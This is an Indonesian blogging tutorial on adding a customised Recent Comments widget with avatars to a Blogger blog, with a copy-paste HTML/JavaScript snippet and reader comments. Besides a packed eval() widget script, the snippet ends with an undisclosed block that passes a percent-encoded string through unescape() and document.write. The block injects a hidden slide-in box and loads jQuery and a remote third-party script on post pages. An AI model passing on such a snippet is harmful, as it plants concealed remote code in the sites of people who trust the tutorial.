Memodifikasi widget Recent Comment dengan avatar tebar pesona di blog

Widget Recent Comment mampu menampilkan komentar terbaru dari postingan Anda di mana seorang blogger / Author dan pengunjung dapat dengan mudah mengidentifikasi pos yang disukai oleh khalayak atau publik. Karena jika Anda menulis konten yang bagus dan menarik, tentu saja Anda akan mendapatkan komentar/respond dari visitor.

Postingan saya kali ini adalah permintaan salah satu sobat blogger, dimana salah satu sobat blogger bertanya kepada author bagaimana cara membuat recent comment seperti di blog ini. Oleh karena itu saya akan share ke anda mengenai widget ini.

FITUR-FITUR DARI VERSI WIDGET INI ADALAH:

Anda bisa menampilkan maksimal 10 komentar
Kotak berwarna hitam dengan sudut bundar
Telah disematkan style avatar/gambar untuk anonymous
Anda bisa merubah ukuran gambar
Anda dapat mengontrol jumlah karakter
Sudah dimasukan opsi read more untuk navigasi ke halaman pos

LANGKAH-LANGKAHNYA:

Masuk ke akun blogger anda kemudian -> Klik Drop Down Menu

Kemudian pilih -> Tata letak -> Tambahkan gadget -> HTML/Javascript

Kemudian kopi dan pastekan kode berikut didalamnya:

<div class='widget-content'>
<style type="text/css">
.RecentCommentsBorder {
margin:0 auto;
padding:10px;
width:auto;
border-radius:5px;
border: 1px #BBBBBB solid;
}
.ul.bs_recent_comments{list-style:none;margin:0;padding:0;}
 .bs_recent_comments li{background:none !important;margin:0 0 2px !important;padding:0 0 3px 0 !important;display:block;clear:both;overflow:hidden;list-style:none;}
    .bs_recent_comments li .avatarImage{padding:5px;background:#000000;-webkit-box-shadow:0 1px 1px #000;-moz-box-shadow:0 1px 1px #ccc;box-shadow:0 1px 1px #ccc;float:left;margin:0 6px 0 0;position:relative;overflow:hidden;}
    .avatarRound{-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;}
    .bs_recent_comments li img{padding:1px;position:relative;overflow:hidden;display:block;}
    .bs_recent_comments li span{margin-top:4px;color: #534D4E;display: block;font-size: 12px;font-style: italic;line-height: 1.4;}
</style>
<script type="text/javascript">
//<![CDATA[
    // Recent Comments Settings
var
numComments = 5, showAvatar = true,
avatarSize  = 40, roundAvatar = true,
characters  = 20, showMorelink = true,
moreLinktext = "More »",
defaultAvatar = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxCZk-O2eXFI5QtijGlU74b6_hU2ynw46tfiWElzxO5-GdYPa6g2FwwVcAoYnpCXd52E1gcQMwZZS5hgooRWMMF-2tfQZGNq2NR7P4WuXxQK9gyhG0m16pwvEXTT7p_mDFZCyxkDqqnfgl/s320/BS+www.bloggerspice.com.png",
hideCredits = true;
//]]>
</script>
<div class='RecentCommentsBorder'>
<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('9 G=G||5,8=8||1z,w=w||1w,m=m||"j://V.L.g/1i/?d=1b",F=F||" 1c &1D;",x=(A x===\'B\')?h:x,o=(A o===\'B\')?Q:o,q=(A q===\'B\')?h:q,r=(A r===\'B\')?Q:r;18 14(C){9 7;7=\'<r J="14">\';U(9 i=0;i<G;i++){9 z,y,2,k;4(i==C.O.e.D)X;7+="<10>";9 e=C.O.e[i];U(9 l=0;l<e.E.D;l++){4(e.E[l].19==\'1a\'){z=e.E[l].v;X}}y=e.M[0].1x.$t;2=e.M[0].1E$16.N;4(2.f("/P/")!=-1){2=2.p("/P/","/s"+8+"-c/")}b 4(2.f("/S/")!=-1){2=2.p("/S/","/s"+8+"-c/")}b 4(2.f("/T-c/")!=-1&&2.f("j:")!==0){2="j:"+2.p("/T-c/","/s"+8+"-c/")}b 4(2.f("H.g/n/17-W.I")!=-1){2="j://3.Y.Z.g/-1d-1e/1f/1U/1g/s"+8+"/1h.11"}b 4(2.f("H.g/n/1j-W.I")!=-1){2="j://3.Y.Z.g/-1k/1l/1m/1n/s"+8+"/1o.11"}b 4(2.f("H.g/n/1p.I")!=-1){4(m.f("L.g")!=-1){2=m+"&s="+8}b{2=m}}b{2=2}4(x===h){4(q===h){k="1q"}b{k=""}7+="<12 J=\\"1s "+k+"\\"><n J=\\""+k+"\\" N=\\""+2+"\\" 1t=\\""+y+"\\" 1u=\\""+8+"\\" 1v=\\""+8+"\\"/></12>"}7+="<a v=\\""+z+"\\">"+y+"</a>";9 13=e.1y.$t;9 6=13.p(/(<([^>]+)>)/1A,"");4(6!==""&&6.D>w){6=6.1B(0,w);6+="&1C;";4(o===h){6+="<a v=\\""+z+"\\">"+F+"</a>"}}b{6=6}7+="<u>"+6+"</u>";7+="</10>"}7+=\'</R>\';9 K="";4(r===h){K="15:1F;"}7+="<u 1G=\\"1H-1I:1J;15:1K;1L-1M:1N;"+K+"\\">1O 1P <a v=\\"j://V.1Q.1R/\\">1S</a></u>";1T.1r(7)}',62,119,'||authorAvatar||if||commBody|commentsHtml|avatarSize|var||else|||entry|indexOf|com|true||http|avatarClass||defaultAvatar|img|showMorelink|replace|roundAvatar|hideCredits|||span|href|characters|showAvatar|authorName|commentlink|typeof|undefined|bs|length|link|moreLinktext|numComments|blogblog|gif|class|hideCSS|gravatar|author|src|feed|s1600|false|ul|s220|s512|for|www|rounded|break|bp|blogspot|li|png|div|commHTML|bs_recent_comments|display|image|b16|function|rel|alternate|mm|More|AaI8|1X32ZM|TxMKLVzQ5BI|QYau8ov2blE|bs_blogger_logo|avatar|openid16|9lSeVyNRKx0|TxMKMIqMNuI|AAAAAAAABYc|8iasY0xpLzc|bs_openid_logo|blank|avatarRound|write|avatarImage|alt|width|height|40|name|content|60|ig|substring|hellip|raquo|gd|none|style|font|size|10px|block|text|align|right|Widget|by|bloggerspice|com| bloggerspice|document|AAAAAAAABYY'.split('|'),0,{}))
//]]>
</script>
<script type="text/javascript" src="http://www.jalu-pangna.blogspot.com/feeds/comments/default?alt=json&callback=bs_recent_comments&max-results=10"></script></div>
</div>
<script language="javascript">
document.write( unescape( '%27%3C%64%69%76%20%69%64%3D%22%62%73%73%6C%69%64%65%69%6E%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E%20%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%68%65%6C%70%22%3E%3F%3C%2F%64%69%76%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%65%78%70%61%6E%64%22%3E%2B%3C%2F%64%69%76%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6C%6F%73%65%22%3E%58%3C%2F%64%69%76%3E%0A%20%3C%70%3E%52%65%63%6F%6D%6D%65%6E%64%65%64%20%66%6F%72%20%79%6F%75%3C%2F%70%3E%0A%20%3C%64%69%76%20%69%64%3D%22%62%73%73%6C%69%64%65%69%6E%5F%69%6D%61%67%65%22%3E%3C%2F%64%69%76%3E%0A%20%3C%64%69%76%20%20%69%64%3D%22%62%73%73%6C%69%64%65%69%6E%5F%74%69%74%6C%65%22%3E%3C%69%6D%67%20%62%6F%72%64%65%72%3D%22%30%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%2E%62%70%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F%2D%4B%44%4E%76%38%76%56%41%45%31%4D%2F%55%54%39%55%57%55%62%4F%55%68%49%2F%41%41%41%41%41%41%41%41%43%45%59%2F%66%65%37%4F%37%36%54%57%55%46%51%2F%73%33%32%30%2F%42%53%2D%6C%6F%61%64%69%6E%67%2E%67%69%66%22%20%2F%3E%3C%2F%64%69%76%3E%0A%2F%2A%77%77%77%2E%62%6C%6F%67%67%65%72%73%70%69%63%65%2E%63%6F%6D%2A%2F%0A%3C%73%63%72%69%70%74%3E%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%2E%73%70%6C%69%74%28%22%2F%22%29%2E%6C%65%6E%67%74%68%3D%3D%36%26%26%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%2E%69%6E%64%65%78%4F%66%28%22%2E%68%74%6D%6C%22%29%21%3D%2D%31%29%7B%69%66%28%74%79%70%65%6F%66%20%62%73%5F%6F%6E%6C%6F%61%64%5F%71%75%65%75%65%3D%3D%27%75%6E%64%65%66%69%6E%65%64%27%29%76%61%72%20%62%73%5F%6F%6E%6C%6F%61%64%5F%71%75%65%75%65%3D%5B%5D%3B%69%66%28%74%79%70%65%6F%66%20%62%73%5F%64%6F%6D%5F%6C%6F%61%64%65%64%3D%3D%27%62%6F%6F%6C%65%61%6E%27%29%62%73%5F%64%6F%6D%5F%6C%6F%61%64%65%64%3D%66%61%6C%73%65%3B%65%6C%73%65%20%76%61%72%20%62%73%5F%64%6F%6D%5F%6C%6F%61%64%65%64%3D%66%61%6C%73%65%3B%69%66%28%74%79%70%65%6F%66%20%62%73%5F%61%73%79%6E%63%5F%6C%6F%61%64%65%72%21%3D%27%66%75%6E%63%74%69%6F%6E%27%29%7B%66%75%6E%63%74%69%6F%6E%20%62%73%5F%61%73%79%6E%63%5F%6C%6F%61%64%65%72%28%73%72%63%2C%63%61%6C%6C%62%61%63%6B%2C%69%64%29%7B%76%61%72%20%73%63%72%69%70%74%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3B%73%63%72%69%70%74%2E%61%73%79%6E%63%3D%74%72%75%65%3B%73%63%72%69%70%74%2E%73%72%63%3D%73%72%63%3B%73%63%72%69%70%74%2E%69%64%3D%69%64%3B%76%61%72%20%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%69%64%29%3B%69%66%28%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%29%69%66%28%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%2E%72%65%61%64%79%53%74%61%74%65%3D%3D%22%6C%6F%61%64%65%64%22%7C%7C%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%2E%72%65%61%64%79%53%74%61%74%65%3D%3D%22%63%6F%6D%70%6C%65%74%65%22%29%7B%63%61%6C%6C%62%61%63%6B%28%29%3B%72%65%74%75%72%6E%7D%65%6C%73%65%7B%73%63%72%69%70%74%3D%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%7D%69%66%28%73%63%72%69%70%74%2E%6F%6E%6C%6F%61%64%21%3D%6E%75%6C%6C%29%70%72%65%76%69%6F%75%73%5F%63%61%6C%6C%62%61%63%6B%3D%73%63%72%69%70%74%2E%6F%6E%6C%6F%61%64%3B%73%63%72%69%70%74%2E%6F%6E%6C%6F%61%64%3D%73%63%72%69%70%74%2E%6F%6E%72%65%61%64%79%73%74%61%74%65%63%68%61%6E%67%65%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%76%61%72%20%6E%65%77%63%61%6C%6C%62%61%63%6B%3B%69%66%28%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%26%26%70%72%65%76%69%6F%75%73%5F%63%61%6C%6C%62%61%63%6B%29%6E%65%77%63%61%6C%6C%62%61%63%6B%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%70%72%65%76%69%6F%75%73%5F%63%61%6C%6C%62%61%63%6B%28%29%3B%63%61%6C%6C%62%61%63%6B%28%29%7D%3B%65%6C%73%65%20%6E%65%77%63%61%6C%6C%62%61%63%6B%3D%63%61%6C%6C%62%61%63%6B%3B%69%66%28%62%73%5F%64%6F%6D%5F%6C%6F%61%64%65%64%29%7B%6E%65%77%63%61%6C%6C%62%61%63%6B%28%29%7D%65%6C%73%65%20%62%73%5F%6F%6E%6C%6F%61%64%5F%71%75%65%75%65%2E%70%75%73%68%28%6E%65%77%63%61%6C%6C%62%61%63%6B%29%3B%73%63%72%69%70%74%2E%6F%6E%6C%6F%61%64%3D%6E%75%6C%6C%3B%73%63%72%69%70%74%2E%6F%6E%72%65%61%64%79%73%74%61%74%65%63%68%61%6E%67%65%3D%6E%75%6C%6C%7D%3B%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%69%66%28%21%70%72%65%76%69%6F%75%73%5F%73%63%72%69%70%74%29%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%7D%7D%69%66%28%74%79%70%65%6F%66%20%62%73%5F%64%6F%6D%4C%6F%61%64%65%64%21%3D%27%66%75%6E%63%74%69%6F%6E%27%29%66%75%6E%63%74%69%6F%6E%20%62%73%5F%64%6F%6D%4C%6F%61%64%65%64%28%63%61%6C%6C%62%61%63%6B%29%7B%62%73%5F%64%6F%6D%5F%6C%6F%61%64%65%64%3D%74%72%75%65%3B%76%61%72%20%6C%65%6E%3D%62%73%5F%6F%6E%6C%6F%61%64%5F%71%75%65%75%65%2E%6C%65%6E%67%74%68%3B%66%6F%72%28%76%61%72%20%69%3D%30%3B%69%3C%6C%65%6E%3B%69%2B%2B%29%7B%62%73%5F%6F%6E%6C%6F%61%64%5F%71%75%65%75%65%5B%69%5D%28%29%7D%7D%62%73%5F%64%6F%6D%4C%6F%61%64%65%64%28%29%3B%62%73%5F%61%73%79%6E%63%5F%6C%6F%61%64%65%72%28%22%68%74%74%70%3A%2F%2F%61%6A%61%78%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%61%6A%61%78%2F%6C%69%62%73%2F%6A%71%75%65%72%79%2F%31%2E%37%2E%31%2F%6A%71%75%65%72%79%2E%6D%69%6E%2E%6A%73%22%2C%66%75%6E%63%74%69%6F%6E%28%29%7B%62%73%5F%61%73%79%6E%63%5F%6C%6F%61%64%65%72%28%22%68%74%74%70%3A%2F%2F%62%6C%6F%67%67%65%72%73%70%69%63%65%62%64%2E%67%6F%6F%67%6C%65%63%6F%64%65%2E%63%6F%6D%2F%66%69%6C%65%73%2F%62%73%73%6C%69%64%65%69%6E%2E%6A%73%22%2C%66%75%6E%63%74%69%6F%6E%28%29%7B%7D%2C%22%62%73%2D%6F%75%74%2D%73%6C%69%64%65%22%29%7D%2C%22%6A%51%75%65%72%79%6A%73%22%29%7D%20 </script>

Kustomisasi:

Anda bisa mengubah jumlah digit komentar pada numComments = 5 sesuai yang anda inginkan
avatarSize = 40 merubah ukuran gambar
characters = 20 merubah karakter tulisan komentar yang anda ingin tampilkan
Silahkan anda ganti http://www.jalu-pangna.blogspot.com dengan URL/Alamat blog anda

Written by: jalupangna

Wawasan spiritual dan blogging, Updated at: 20.05

10 komentar:

Imron Fhatoni23 Mei 2013 pukul 08.07
Aduch ngak terima saya om masa gambar saya dijadiin demo sih..
hehehe becanda om
kunjungan pagi somoga dipagi ini kita dalam keadaan sehat om... :)
BalasHapus
Balasan
Anonim31 Juli 2013 pukul 23.33
terima kasih gan tutorialnya , bermanfaat banget buat newbie kayak ane.
hehehe
BalasHapus
Balasan
Blank Blank5 September 2013 pukul 03.34
Terima kasih byank ea bang ixixixi, Mantapp..!!!

BalasHapus
Balasan
Ulul Rosyad28 Januari 2015 pukul 00.03
suwum mbah tutorialnya..
BalasHapus
Balasan

Tambahkan komentar

22 Mei 2013

Memodifikasi widget Recent Comment dengan avatar tebar pesona di blog

Jalupangna

10 komentar:

Popular Posts

Blog Archive

Label

Recent Comment

Followers